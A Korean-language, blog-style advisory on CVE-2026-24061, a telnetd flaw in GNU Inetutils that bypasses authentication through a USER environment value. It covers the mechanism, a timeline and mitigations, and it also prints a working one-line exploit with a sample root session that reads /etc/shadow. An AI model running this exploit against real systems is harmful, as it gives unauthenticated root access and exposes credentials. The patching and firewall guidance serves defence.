
CVE-2026-24061
GNU Inetutils telnetd의 치명적인 원격 인증 우회
2015년의 유령이 돌아와 여전히 텔넷을 실행 중인 모든 것을 장악합니다.
인증 제로. 환경 변수 하나. 즉시 루트 쉘.
CVE-2026-24061은 GNU Inetutils telnetd ≤ 2.7에서 발견된 심각한 원격 권한 상승 취약점입니다.
인증되지 않은 원격 공격자는 Telnet NEW-ENVIRON 옵션을 통해 USER 환경 변수를 "-f root"로 설정합니다.
telnetd는 이를 정화하지 않고 /bin/login에 바로 전달합니다 → login은 -f root를 보고 → 모든 인증을 건너뛰고 → 공격자를 루트 쉘에 빠뜨립니다.
위험한 코드는 거의 11년(약 2015년 이후) 동안 조용히 코드 트리에 남아 있었습니다.
“하나의 환경 변수. 비밀번호 없음. 완전한 루트. 2026년에 오신 것을 환영합니다.”
2026년 3월의 현실:
telnetd가 다음을 포함하는 NEW-ENVIRON 옵션을 수신하면:
USER=-f root
해당 값을 /bin/login에 전달되는 argv에 직접 추가합니다:
execve("/bin/login", ["login", "-f", "root", ...], ...)
login 바이너리는 -f root를 다음과 같이 해석합니다:
“이 사용자는 이미 root로 인증됨 — 비밀번호 확인 불필요.”
→ 공격자는 # 프롬프트를 얻습니다. 게임 오버.
치명적인 설계 결정: -R / 환경 변수 전달은 권한이 있는 사용자로 제한되지 않았습니다.
| 날짜 | 이벤트 |
|---|---|
| ~2015년 3월 | 취약한 환경 변수 처리 도입 |
| 2026년 1월 | 업스트림에 비공개 보고 |
| 2026년 1월 말 | 공개 공개 및 CVE 할당 |
| 2026년 1월 말 | 수정 버전 출시 (Inetutils ≥ 2.8) |
| 2026년 1월 26일 | CISA KEV(알려진 익스플로잇 취약점) 카탈로그에 추가 |
| 2026년 2월–3월 | 레거시/OT 시스템에 대한 익스플로잇 급증 |
| 2026년 3월 | 많은 임베디드 벤더가 여전히 침묵 또는 패치 미적용 |
취약한 버전: GNU Inetutils telnetd 1.9.3 – 2.7
2026년 일반적인 대상:
안전한 시스템:
한 줄 명령어 (telnet 클라이언트가 있는 모든 Linux/macOS):
USER="-f root" telnet -a 192.168.1.50
일반적인 출력:
┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.
Debian GNU/Linux 12 telnetd
root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...
엔터 키 한 번 누르면 — 전체 루트 액세스.
telnet localhost 23 # inetutils 배너 확인
inetutils-telnetd --version # ≤ 2.7이면 취약
systemctl disable --now inetutils-inetd # 또는 telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd
sudo apt update && sudo apt install --reinstall inetutils-telnetd # → ≥2.8
iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp